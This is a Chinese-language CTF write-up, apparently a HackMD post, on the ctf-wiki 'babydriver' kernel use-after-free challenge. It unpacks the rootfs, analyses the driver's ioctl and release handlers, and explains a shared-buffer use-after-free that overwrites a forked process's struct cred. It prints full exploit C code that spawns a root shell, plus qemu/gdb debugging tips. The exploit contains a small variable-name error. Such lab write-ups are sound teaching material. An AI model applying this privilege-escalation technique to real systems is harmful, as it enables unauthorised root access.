Try   HackMD

kernel exploit practice: uaf

tags: exploitation

一題在 ctf-wiki 當作範例的 kernel use after free 題目,做完之後覺得也不是很難,但很多東西沒摸過要弄出來滿有挑戰性的

題目解法 ctf-wiki 都有,我就附個網址

分析

extract cpio

其實放題目的 repo 內已經有 babydriver.ko 了,不過為了要多學一點東西,我們還是按步驟來

  1. create a folder:
mkdir fs
  1. move rootfs.cpio to fs and rename to rootfs.cpio.gz:
cd fs; mv ../rootfs.cpio ./rootfs.cpio.gz
  1. extract by gunzip:
gunzip ./rootfs.cpio.gz
  1. extract by cpio:
cpio -idmv < rootfs.cpio

之前找了一堆 cpio 解壓縮的方法都會出現亂碼,結果看了 ctk-wiki 上面的操作就好了這啥鬼做法?

分析 init

有了整個 file system ,可以看一下 kernel 啟動後會幹嘛,主要是透過 init 這個 script:

mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f

可以看到 line 10 把 driver 給 load 起來,除此之外好像沒啥特別的

分析 babydriver.ko

老樣子用 ida 來分析

由於前兩個實驗都是自己寫 driver 然後自己 pwn ,所以我其實沒用 IDA 分析過 driver 的經驗,這次算是不錯的體驗

可以看到裡面的 function

init 和 exit 不用多說,前者是 insmod 把 module load 進 kernel 會跑的 function ,後者則是 rmmod 會跑的,那其他的呢?

我第一個遇到的問題就是不知道 function 呼叫先後順序,其實這個 driver 裡面的 function 比較像是用來呼叫的 API (其他 driver 我不敢亂說XD)

char device driver 提供一系列跟 file 類似操作,換句話說可以對這個 device 做 open, read, write 等等操作,原理是 char device driver 裡面有個結構 fops 放各種操作的 function pointer ,在 init 時就透過 chdev_init 注冊 fops ,當使用 open(/path/to/driver, 2); 就會去 fops 裡面跟 open 做對應的是哪個 function 再呼叫

可以看到控制 device 的 babyioctl 定義了 0x10001 的命令,具體來說就是

if ( (_DWORD)command == 0x10001 ) { kfree(babydev_struct.device_buf); LODWORD(v5) = _kmalloc(sz, 0x24000C0LL); babydev_struct.device_buf = (char *)v5; babydev_struct.device_buf_len = sz; printk("alloc done\n"); result = 0LL;

可以簡單想成在 kernel 內申請任意大小的 memory

另外 babywrite, babyread 則分別透過 copy_from_user(從 user 複製資料進到 kernel) 和 copy_to_user(反向操作)達成

另外看到 release ,猜測應該是對應的 close 部分,就是簡單的 kfree 而已

利用

一個 device driver load 到 kernel ,則整個 kernel 裡面就只有這個 process ,不論有幾個程式去使用這個 device 都只有一個 device driver 在工作,所以資源也是共享的,我一開始以為是數個程式工作會將資源區隔開來

babydriver.ko 裡面有一個 babydev_struct 結構體,最重要的是他是全域變數

假若有兩個程式同時跟 babydriver 互動,兩者用的 babydev_struct 是同一個,這就會出現一個問題:
程式 A free 掉 babydev_struct 中的 buf 後程式 B 依然能讀取寫入 babydev_struct 中的 buf,這邊就出現了一個 uaf 漏洞

當然未必要兩個程式,一個程式 open 兩次也是一樣

要如何利用這個 uaf 呢?按照老套路肯定是要修改 struct cred 內的 uid gid 等變數,而一個程式剛生出來的時候也會需要申請一塊空間來存放該結構,那就很清楚了:

  1. 開啟兩個 fd 跟 device 交互 (因為要 uaf)
  2. 對 fd1 用 ioctl 要一塊 struct cred 同樣大小的空間 A
  3. close 其中一個 fd1 ,因為 babyrelease 的關係,剛剛分出來的空間 A 會 kfree() 掉,但另一個 fd 仍然可以讀寫 (uaf)
  4. 透過 fork() 來弄出新的 process , kernel 會從剛剛 free 掉的空間拿找一個符合大小的裝 struct cred ,也就是空間 A (size: 0xa8)
  5. parent 可以放著不用管, child 的部分透過 fd2 對 babydev_struct.buf write 一堆 0 (改寫 uid 來提權)

我想了下 parent 可不可以提權,思考後覺得不妥,因為若由 parent 改寫 struct cred , child 要弄出 shell 的時間很難抓,倒不如由 child 自己改寫後再開 shell 來的簡單

  1. 透過 getuid() 判斷是否為 root ,是的話就彈 shell 出來

exploit:

#include <unistd.h> #include <sys/types.h> #include <fcntl.h> #include <sys/wait.h> #include <stdlib.h> #include <stdio.h> int main() { int fd1 = open("/dev/babydev", O_RDWR); int fd2 = open("/dev/babydev", O_RDWR); ioctl(fd1, 0x10001, 0xa8); close(fd1); pid_t id = fork(); if(pid) wait(NULL); else if(!pid) { char zeros[30] = {0}; write(fd2, zeros, 28); if(getuid() == 0) { system("/bin/sh"); exit(0); } } else { puts("something wrong"); } close(fd2); return 0; }

寫好並用 static 編譯好後將執行檔放入 file system ,在 file system 根目錄下用以下命令打包:

find . | cpio -o --format=newc | gzip -9 > ../rootfs.cpio

再用 boot.sh 啟動即可

坑點

Debug

嚴格來說不太能算是一個完整的 debug ,畢竟我沒看到最後,但 debug 過程中我遇到一些問題:

  • qemu 用 -S -s arg ,再用 gdb remote 連上後會出現 reply packet too long 之類的錯誤:
    我找了一下發現是由於 qemu 讓 gdb remote 連上去的時候還是 protected mode 但最後是 64bit 也就是 long mode , gdb 卻沒跟著修改導致,解決方法:
    • 修改 gdb source code 並重新編譯
    • 連上去進到 long mode 後 disconnect 重新設定 arch 為 i386:x86-64 再重新連上去

text address

因為想著要 debug 必須 add-symbol-file 然後要給 text address , text address 可以透過 lsmod 或是 /sys/modules/babydriver/sections/.text 獲得